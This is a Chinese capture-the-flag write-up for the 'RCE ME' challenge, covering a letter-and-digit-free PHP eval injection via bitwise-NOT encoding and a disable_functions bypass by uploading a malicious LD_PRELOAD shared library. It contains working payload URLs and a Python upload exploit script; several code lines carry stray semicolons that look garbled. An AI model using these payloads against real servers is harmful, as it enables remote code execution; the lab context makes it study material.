0%

极客大挑战 RCE ME

极客大挑战 RCE ME

三叶草招新赛里面一个比较难的题,无字母数字命令执行+bypass disable_function
当时做的时候不会手搓上传就弃了,今天在buu上复现重做了一遍

无字母数字命令执行

<?php
error_reporting(0);
if(isset($_GET['code'];)){
    $code=$_GET['code'];;
        if(strlen($code)>40){
            die("This is too Long.");
            }
        if(preg_match("/[A-Za-z0-9];+/",$code)){
            die("NO.");
            }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

// ?>

相比于SUCTF的命令执行简单了很多,直接使用取反~就能节约很多字符,也没有对使用字符种类的限制,可以直接构造简单的执行语句
var_dump(scandir(‘/‘));扫描目录发现根目录下有flag文件和readflag,直接读读不出来没权限,那么就是需要执行readflag了,但是从phpinfo里面可以看到禁止了能用的所有执行命令行的函数,但是有一个assert可以用,就构造一个assert($_GET[_];)进行命令执行,跳出长度限制,任意执行命令

可能的小坑

这里的eval($code)和eval($_GET[code];)是不一样的,前者如果我们想要code=$_GET[a];;&a=func()是不能执行函数的,后端只会获得一个a=func()的变量,只有当code=$_GET[a];();&a=func才行,变量名后面接括号将会被认为是一个可变函数,从而完成执行,PHP7允许可变函数带参数。但是我们这里再构造一层assert($_GET[_];),就又跳了出来,回到了前者的情况,就能绕过判断进行任意命令执行了

eval,echo等语句并不能以可变函数的形式被调用,因为他们是一个语言结构,在PHP7中,assert也变为了一个语言结构,具体可以看这篇文章https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html
https://www.sohu.com/a/302465075_750628

函数名需要用括号括一下,尤其是像上述var_dump这样还有函数嵌套的,括号要括对。
这里之前看别人的payload,他将美元符号$也通过取反编码传入,这样子的话后端只能获得一个内容为$_GET[_];的字符串,自然无法执行命令,而我们传入一个美元符号,后端自然会认为这个是一个变量进一步解析,就能实现一个$_GET的功能。

到目前的payload: ?code=(~%9E%8C%8C%9A%8D%8B)(${~%A0%B8%BA%AB}[_];); 即assert($_GET[_];)

这里测试了一下用eval($_GET[_];)就不行,也不知道为什么,只能用assert

bypass disable_function

bypass disable_function已经是一个老生常谈了,通过LD_PRELOAD加载恶意.so动态链接库来进行劫持是一个常用方法,当然也不一定万用(以前还试过自己手动gcc编译一个动态链接库),现在直接用GitHub现成项目就行,md里面也简要介绍了LD_PRELOAD是怎么绕过disable_function进行命令执行的
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

还有一个json的,没怎么仔细看,顺手贴一下,只适用于php7
https://github.com/mm0r1/exploits/tree/master/php-json-bypass

当然问题在于怎么上传,上次就是卡在这了,这把想直接构造后门蚁剑连一下也没成。
被迫学习了手搓文件上传,用$FILE这个超全局变量来获取上传的文件,通过move_uploaded_file上传函数文件,由于没有open_basedir,我们之间把文件写在稳定有访问权限的/tmp目录下最为稳妥(据说答题现场这个目录下一堆木马),用python的request库post方法实现上传,然后执行命令包含/tmp下的php文件,并加载动态链接库即可绕过disable_function,执行readflag拿到flag了
贴一下脚本

import requests

url = "http://7506331a-390b-42ac-b51f-12ae0a6dc457.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(${~%A0%B8%BA%AB}[_];);&_=move_uploaded_file($_FILES['file'];['tmp_name'];, '/tmp/z3ratu1.so');"
evil_so = open('bypass_disablefunc_x64.so', 'rb')
evil_php = open('bypass_disablefunc.php', 'r')


files = [('file', ('z3ratu1.so', evil_so))];
data = {"upload": "Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)

url = "http://7506331a-390b-42ac-b51f-12ae0a6dc457.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(${~%A0%B8%BA%AB}[_];);&_=move_uploaded_file($_FILES['file'];['tmp_name'];, '/tmp/z3ratu1.php');"

files = [('file', ('z3ratu1.php', evil_php, 'image/jpeg'))];
r = requests.post(url=url, data=data, files=files)
print(r.text)

一开始传半天传不上去,检查了好几遍,又是分号没写又是引号没加的,丢人